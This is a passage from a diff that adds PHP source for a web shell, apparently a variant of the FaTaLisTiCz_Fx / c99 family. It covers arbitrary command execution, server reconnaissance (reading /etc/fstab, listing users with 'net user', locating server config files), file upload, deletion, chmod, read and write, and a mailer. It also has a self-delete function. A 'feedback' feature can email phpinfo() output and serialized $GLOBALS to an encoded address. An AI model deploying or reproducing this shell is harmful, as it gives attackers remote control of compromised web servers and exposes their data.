Options",fx29exec("cat /etc/fstab")); + displaysecinfo("lynx installed?",fx29exec("which lynx")); + displaysecinfo("links installed?",fx29exec("which links")); + displaysecinfo("GET installed?",fx29exec("which GET")); + displaysecinfo("Where is Apache?",fx29exec("whereis apache")); + displaysecinfo("Where is perl?",fx29exec("whereis perl")); + displaysecinfo("Locate proftpd.conf",fx29exec("locate proftpd.conf")); + displaysecinfo("Locate httpd.conf",fx29exec("locate httpd.conf")); + displaysecinfo("Locate my.conf",fx29exec("locate my.conf")); + displaysecinfo("Locate psybnc.conf",fx29exec("locate psybnc.conf")); + } + else { + displaysecinfo("OS Version",fx29exec("ver")); + displaysecinfo("Account Settings",fx29exec("net accounts")); + displaysecinfo("User Accounts",fx29exec("net user")); + } + echo "</table>\n"; +} +if ($act == "mkfile") { + if ($mkfile != $d) { + if ($overwrite == 0) { + if (file_exists($mkfile)) { echo "<b>FILE EXIST:</b> $overwrite ".htmlspecialchars($mkfile); } + } + else { + if (!fopen($mkfile,"w")) { echo "<b>ACCESS DENIED:</b> ".htmlspecialchars($mkfile); } + else { $act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile); } + } + } + else { echo "<div class=fxerrmsg>Enter filename!</div>\r\n"; } +} +if ($act == "encoder") { +echo "<script language=\"javascript\">function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script>". + "<form name=\"encoder\" action=\"".$surl."\" method=POST>". + "<input type=hidden name=act value=encoder>". + "<center><table class=contents>". + "<tr><td colspan=4 class=barheader>.: Encoder :.</td>". + "<tr><td colspan=2>Input:</td><td><textarea name=\"encoder_input\" id=\"input\" cols=70 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br>". + "<input type=submit value=\"calculate\"></td></tr>". + "<tr><td rowspan=4>Hashes:</td>"; +foreach(array("md5","crypt","sha1","crc32") as $v) { + echo "<td>".$v.":</td><td><input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly></td></tr><tr>"; +} +echo "</tr>". + "<tr><td rowspan=2>Url:</td>". + "<td>urlencode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly></td></tr>". + "<tr><td>urldecode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly></td></tr>". + "<tr><td rowspan=2>Base64:</td>". + "<td>base64_encode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></td></tr>". + "<tr><td>base64_decode:</td><td>"; +if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"Failed!\" disabled readonly>";} +else { + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) { echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>"; } + else { $rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>"; } + echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\">[Send to input]</a>"; +} +echo "</td></tr>". + "<tr><td>Base convertations:</td><td>dec2hex</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; +$c = strlen($encoder_input); +for($i=0;$i<$c;$i++) { + $hex = dechex(ord($encoder_input[$i])); + if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} + elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} +} +echo "\" readonly></td></tr></table></center></form>"; +} +if ($act == "fsbuff") { + $arr_copy = $sess_data["copy"]; + $arr_cut = $sess_data["cut"]; + $arr = array_merge($arr_copy,$arr_cut); + if (count($arr) == 0) {echo "<h2><center>Buffer is empty!</center></h2>";} + else { + $fx_infohead = "File-System Buffer"; + $ls_arr = $arr; + $disp_fullpath = TRUE; + $act = "ls"; + } +} +if ($act == "selfremove") { + if (($submit == $rndcode) and ($submit != "")) { + if (unlink(__FILE__)) { @ob_clean(); echo "Thanks for using ".$sh_name."!"; fx29shexit(); } + else { echo "<center><b>Can't delete ".__FILE__."!</b></center>"; } + } + else { + if (!empty($rndcode)) {echo "<b>Error: incorrect confirmation!</b>";} + $rnd = rand(0,9).rand(0,9).rand(0,9); + echo "<form action=\"".$surl."\">\n". + "<input type=hidden name=act value=selfremove>". + "<input type=hidden name=rndcode value=\"".$rnd."\">". + "<b>Kill-shell: ".__FILE__." <br>". + "<b>Are you sure? For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=text name=submit>&nbsp;<input type=submit value=\"YES\">\n". + "</form>\n"; + } +} +if ($act == "update") { + $ret = fx29sh_getupdate(!!$confirmupdate); + echo "<b>".$ret."</b>"; + if (stristr($ret,"new version")) { + echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">"; + } +} +if ($act == "feedback") { + $suppmail = base64_decode("Removed"); + if (!empty($submit)){ + $ticket = substr(md5(microtime()+rand(1,1000)),0,6); + $body = $sh_name." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; + if (!empty($fdbk_ref)) { + $tmp = @ob_get_contents(); + ob_clean(); + phpinfo(); + $phpinfo = base64_encode(ob_get_contents()); + ob_clean(); + echo $tmp; + $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; + } + mail($suppmail,$sh_name." feedback #".$ticket,$body,"FROM: ".$suppmail); + echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>"; + } + else { + echo "<form action=\"".$surl."\" method=POST>". + "<input type=hidden name=act value=feedback>". + "<table class=contents><tr><td class=barheader colspan=2>". + ".: Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail).") :.</td></tr>". + "<tr><td>Your name:</td><td><input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"></td</tr>". + "<tr><td>Your e-mail:</td><td><input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"></td></tr>". + "<tr><td>Message:</td><td><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br>". + "<input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked> Attach Server info (Recommended for bug-fix)<br>". + "*Language: English, Indonesian.</td></tr>". + "<tr><td></td><td><input type=\"submit\" name=\"submit\" value=\"Send\"></form></td></tr>". + "</table>\n"; + } +} +if ($act == "fxmailer") { + if (!empty($submit)){ + $headers = 'To: '.$dest_email."\r\n"; + $headers .= 'From: '.$sender_name.' '.$sender_email."\r\n"; + if (mail($suppmail,$sender_subj,$sender_body,$header)) { + echo "<center><b>Email sent!</b></center>"; + } + else { echo "<center><b>Can't send email!</b></center>"; } + } + else { + echo "<form action=\"".$surl."\" method=POST>". + "<input type=hidden name=act value=fxmailer>". + "<table class=contents><tr><td class=barheader colspan=2>". + ".: $sh_name Mailer :.</td></tr>". + "<tr><td>Your name:</td><td><input type=\"text\" name=\"sender_name\" value=\"".htmlspecialchars($sender_name)."\"></td</tr>". + "<tr><td>Your e-mail:</td><td><input type=\"text\" name=\"sender_email\" value=\"".htmlspecialchars($sender_email)."\"></td></tr>". + "<tr><td>To:</td><td><input type=\"text\" name=\"dest_email\" value=\"".htmlspecialchars($dest_email)."\"></td></tr>". + "<tr><td>Subject:</td><td><input size=70 type=\"text\" name=\"sender_subj\" value=\"".htmlspecialchars($sender_subj)."\"></td></tr>". + "<tr><td>Message:</td><td><textarea name=\"sender_body\" cols=80 rows=10>".htmlspecialchars($sender_body)."</textarea><br>". + "<tr><td></td><td><input type=\"submit\" name=\"submit\" value=\"Send\"></form></td></tr>". + "</table>\n"; + } +} +if ($act == "search") { + echo "<div class=barheader>.: $sh_name File-System Search :.</div>"; + if (empty($search_in)) {$search_in = $d;} + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + if (!empty($submit)) { + $found = array(); + $found_d = 0; + $found_f = 0; + $search_i_f = 0; + $search_i_d = 0; + $a = array( + "name"=>$search_name, + "name_regexp"=>$search_name_regexp, + "text"=>$search_text, + "text_regexp"=>$search_text_regxp, + "text_wwo"=>$search_text_wwo, + "text_cs"=>$search_text_cs, + "text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) {fx29fsearch($v);} + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "No files found!";} + else { + $ls_arr = $found; + $disp_fullpath = TRUE; + $act = "ls"; + } + } + echo "<table class=contents>". + "<tr><td><form method=POST>". + "<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">". + "File or folder Name:</td><td><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - Regular Expression</td></tr>". + "<tr><td>Look in (Separate by \";\"):</td><td><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"></td></tr>". + "<tr><td>A word or phrase in the file:</td><td><textarea name=\"search_text\" cols=\"50\" rows=\"5\">".htmlspecialchars($search_text)."</textarea></td></tr>". + "<tr><td></td><td><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> Regular Expression". + " <input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> Whole words only". + " <input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> Case sensitive". + " <input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> Find files NOT containing the text</td></tr>". + "<tr><td></td><td><input type=submit name=submit value=\"Search\"></form></td></tr>". + "</table>\n"; + if ($act == "ls") { + $dspact = $act; + echo $searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b>". + "<hr size=\"1\" noshade>"; + } +} +if ($act == "chmod") { + $mode = fileperms($d.$f); + if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} + else { + $form = TRUE; + if ($chmod_submit) { + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + if (chmod($d.$f,$octet)) { $act = "ls"; $form = FALSE; $err = ""; } + else {$err = "Can't chmod to ".$octet.".";} + } + if ($form) { + $perms = parse_perms($mode); + echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; + } + } +} +if ($act == "upload") { + $uploadmess = ""; + $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); + if (empty($uploadpath)) {$uploadpath = $d;} + elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .= DIRECTORY_SEPARATOR;} + if (!empty($submit)) { + global $_FILES; + $uploadfile = $_FILES["uploadfile"]; + if (!empty($uploadfile["tmp_name"])) { + if (empty($uploadfilename)) {$destin = $uploadfile["name"];} + else {$destin = $userfilename;} + if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) { + $uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>"; + } + else { $uploadmess .= "File uploaded successfully!<br>".$uploadpath.$destin; } + } + else { echo "No file to upload!"; } + } + if ($miniform) { + echo "<b>".$uploadmess."</b>"; + $act = "ls"; + } + else { + echo "<table><tr><td colspan=2 class=barheader>". + ".: File Upload :.</td>". + "<td colspan=2>".$uploadmess."</td></tr>". + "<tr><td><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST>". + "From Your Computer:</td><td><input name=\"uploadfile\" type=\"file\"></td></tr>". + "<tr><td>From URL:</td><td><input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"></td></tr>". + "<tr><td>Target Directory:</td><td><input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"></td></tr>". + "<tr><td>Target File Name:</td><td><input name=uploadfilename size=25></td></tr>". + "<tr><td></td><td><input type=checkbox name=uploadautoname value=1 id=df4> Convert file name to lowercase</td></tr>". + "<tr><td></td><td><input type=submit name=submit value=\"Upload\">". + "</form></td></tr></table>"; + } +} +if ($act == "delete") { + $delerr = ""; + foreach ($actbox as $v) { + $result = FALSE; + $result = fs_rmobj($v); + if (!$result) { $delerr .= "Can't delete ".htmlspecialchars($v)."<br>"; } + } + if (!empty($delerr)) { echo "<b>Error deleting:</b><br>".$delerr; } + $act = "ls"; +} +if (!$usefsbuff) { + if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) { + echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$usefsbuff\" as TRUE.</center>"; + } +} +else { + if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); fx29_sess_put($sess_data); $act = "ls"; } + elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); fx29_sess_put($sess_data); $act = "ls";} + elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} fx29_sess_put($sess_data); $act = "ls";} + if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); fx29_sess_put($sess_data);} + elseif ($actpastebuff) { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) { + $to = $d.basename($v); + if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) { + $to = $d.basename($v); + if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + fx29_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } + elseif ($actarcbuff) { + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} + $cmdline .= " ".$actarcbuff_path; + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) { + $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); + if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} + if (is_dir($v)) { + if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} + $v .= "*"; + } + $cmdline .= " ".$v; + } + $tmp = realpath("."); + chdir($d); + $ret = fx29exec($cmdline); + chdir($tmp); + if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";} + $ret = str_replace("\r\n","\n",$ret); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) { + if (in_array($v,$ret)) {fs_rmobj($v);} + unset($sess_data["cut"][$k]); + } + fx29_sess_put($sess_data); + if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} + $act = "ls"; + } + elseif ($actpastebuff) { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) { + $to = $d.basename($v); + if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) { + $to = $d.basename($v); + if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + fx29_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Error pasting:</b><br>".$psterr;} + $act = "ls"; + } +} +if ($act == "cmd") { + @chdir($chdir); + if (!empty($submit)) { + echo "<div class=barheader>.: Results of Execution :.</div>\n"; + $olddir = realpath("."); + @chdir($d); + $ret = fx29exec($cmd); + $ret = convert_cyr_string($ret,"d","w"); + if ($cmd_txt) { + $rows = count(explode("\n",$ret))+1; + if ($rows < 10) { $rows = 10; } else { $rows = 30; } + $cols = 130; + echo "<textarea class=shell cols=\"$cols\" rows=\"$rows\" readonly>".htmlspecialchars($ret)."</textarea>\n"; + //echo "<div align=left><pre>".htmlspecialchars($ret)."</pre></div>"; + } + else { echo $ret."<br>"; } + @chdir($olddir); + } +} +if ($act == "ls") { + if (count($ls_arr) > 0) { $list = $ls_arr; } + else { + $list = array(); + if ($h = @opendir($d)) { + while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} + closedir($h); + } + } + if (count($list) == 0) { echo "<div class=fxerrmsg>Can't open folder (".htmlspecialchars($d).")!</div>";} + else { + $objects = array(); + $vd = "f"; //Viewing mode + if ($vd == "f") { + $objects["head"] = array(); + $objects["folders"] = array(); + $objects["links"] = array(); + $objects["files"] = array(); + foreach ($list as $v) { + $o = basename($v); + $row = array(); + if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";} + elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";} + elseif (is_dir($v)) { + if (is_link($v)) {$type = "LINK";} + else {$type = "DIR";} + $row[] = $v; + $row[] = $type; + } + elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} + $row[] = filemtime($v); + if (!$win) { + $ow = posix_getpwuid(fileowner($v)); + $gr = posix_getgrgid(filegroup($v)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); + } + $row[] = fileperms($v); + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + elseif (is_link($v)) {$objects["links"][] = $row;} + elseif (is_dir($v)) {$objects["folders"][] = $row;} + elseif (is_file($v)) {$objects["files"][] = $row;} + $i++; + } + $row = array(); + $row[] = "<b>Name</b>"; + $row[] = "<b>Size</b>"; + $row[] = "<b>Date Modified</b>"; + if (!$win) {$row[] = "<b>Owner/Group</b>";} + $row[] = "<b>Perms</b>"; + $row[] = "<b>Action</b>"; + $parsesort = parsesort($sort); + $sort = $parsesort[0].$parsesort[1]; + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$parsesort[1] = "d";} + $y = " <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">"; + $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>"; + $row[$k] .= $y; + for($i=0;$i<count($row)-1;$i++) { + if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";} + } + $v = $parsesort[0]; + usort($objects["folders"], "tabsort"); + usort($objects["links"], "tabsort"); + usort($objects["files"], "tabsort"); + if ($parsesort[1] == "d") { + $objects["folders"] = array_reverse($objects["folders"]); + $objects["files"] = array_reverse($objects["files"]); + } + $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); + $tab = array(); + $tab["cols"] = array($row); + $tab["head"] = array(); + $tab["folders"] = array(); + $tab["links"] = array(); + $tab["files"] = array(); + $i = 0; + foreach ($objects as $a) { + $v = $a[0]; + $o = basename($v); + $dir = dirname($v); + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} + foreach ($regxp_highlight as $r) { + if (ereg($r[0],$o)) { + if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; fx29shexit();} + else { + $r[1] = round($r[1]); + $isdir = is_dir($v); + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) { + if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} + $disppath = $r[2].$disppath.$r[3]; + if ($r[4]) {break;} + } + } + } + } + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + $row = array(); + if ($o == ".") { + $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" border=\"0\">&nbsp;".$o."</a>"; + $row[] = "CURDIR"; + } + elseif ($o == "..") { + $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" border=\"0\">&nbsp;".$o."</a>"; + $row[] = "UPDIR"; + } + elseif (is_dir($v)) { + if (is_link($v)) { + $disppath .= " => ".readlink($v); + $type = "LINK"; + $row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" border=\"0\">&nbsp;[".$disppath."]</a>"; + } + else { + $type = "DIR"; + $row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" border=\"0\">&nbsp;[".$disppath."]</a>"; + } + $row[] = $type; + } + elseif(is_file($v)) { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = "<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$disppath."</a>"; + $row[] = view_size($a[1]); + } + $row[] = @date("d.m.Y H:i:s",$a[2]); + if (!$win) { $row[] = $a[3]; } + $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; + if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;} + else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";} + if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" border=\"0\"></a>&nbsp;".$checkbox;} + else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" border=\"0\"></a>&nbsp;".$checkbox;} + if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} + elseif (is_link($v)) {$tab["links"][] = $row;} + elseif (is_dir($v)) {$tab["folders"][] = $row;} + elseif (is_file($v)) {$tab["files"][] = $row;} + $i++; + } + } + // Compiling table + $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); + echo "<div class=barheader>.: "; + if (!empty($fx_infohead)) { echo $fx_infohead; } + else { echo "Directory List (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders)"; } + echo " :.</div>\n"; + echo "<form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=\"".$dspact."\"><input type=hidden name=d value=".$d.">". + "<table class=explorer>"; + foreach($table as $row) { + echo "<tr>"; + foreach($row as $v) {echo "<td>".$v."</td>";} + echo "</tr>\r\n"; + } + echo "</table>". + "<script>". + "function ls_setcheckboxall(status) {". + " var id = 1; var num = ".(count($table)-2).";". + " while (id <= num) { document.getElementById('actbox'+id).checked = status; id++; }". + "}". + "function ls_reverse_all() {". + " var id = 1; var num = ".(count($table)-2).";". + " while (id <= num) { document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; id++; }". + "}". + "</script>". + "<div align=\"right\">". + "<input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">". + "<img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">"; + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) { + echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"fx_archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; + } + echo "<select name=act><option value=\"".$act."\">With selected:</option>"; + echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>"; + echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>"; + if ($usefsbuff) { + echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>"; + echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>"; + echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>"; + } + echo "</select>&nbsp;<input type=submit value=\"Confirm\"></div>"; + echo "</form>"; + } +} +if ($act == "tools") { tools(); } +##[ PHP FILESYSTEM TRICKZ (By FaTaLisTiCz_Fx) ]## +if ($act == "phpfsys") { + echo "<div align=left>"; + $fsfunc = $phpfsysfunc; + if ($fsfunc=="copy") { + if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...\n";} + else { echo "<b>Success!</b> $arg1 copied to $arg2\n"; } + } + elseif ($fsfunc=="rename") { + if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!\n";} + else { echo "<b>Success!</b> $arg1 renamed/moved to $arg2\n"; } + } + elseif ($fsfunc=="chmod") { + if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!\n";} + else { echo "<b>Perm for $arg1 changed to $arg2!</b>\n"; } + } + elseif ($fsfunc=="read") { + $darg = $d.$arg1; + if ($hasil = @file_get_contents($darg)) { + echo "<b>Filename:</b> ".$darg."<br>"; + echo "<center><textarea cols=135 rows=30>"; + echo htmlentities($hasil); + echo "</textarea></center>\n"; + } + else { echo "<div class=fxerrmsg> Couldn't open ".$darg."<div>"; } + } + elseif ($fsfunc=="write") { + $darg = $d.$arg1; + if(@file_put_contents($darg,$arg2)) { + echo "<b>Saved!</b> 